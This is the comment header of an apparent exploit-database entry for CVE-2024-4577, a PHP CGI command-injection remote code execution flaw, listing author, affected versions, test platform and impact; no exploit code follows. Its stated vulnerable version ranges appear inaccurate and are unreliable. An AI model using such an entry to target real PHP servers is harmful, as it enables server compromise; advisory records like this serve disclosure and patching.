# Exploit Title: PHP CGI Module 8.3.4 - Remote Code Execution (RCE)
# Date: 2025-06-13
# Exploit Author: @ibrahimsql
# Exploit Author's github: https://github.com/yigitsql ( old account banned )
# Vendor Homepage: https://www.php.net/
# Software Link: https://www.php.net/downloads
# Version: PHP < 8.3.4, PHP < 8.2.17, PHP < 8.1.27
# Tested on: Kali Linux 2024.1
# CVE: CVE-2024-4577
# Description:
# A critical vulnerability in PHP's CGI implementation allows remote attackers to execute 
# arbitrary code through command injection. The vulnerability exists due to improper handling 
# of command-line arguments in PHP CGI, which can be exploited to bypass security restrictions 
# and execute arbitrary commands with the privileges of the web server. This vulnerability 
# affects all PHP versions before 8.3.4, 8.2.17, and 8.1.27.
#
# Impact:
# - Remote Code Execution (RCE)
# - Information Disclosure
# - Server Compromise
#
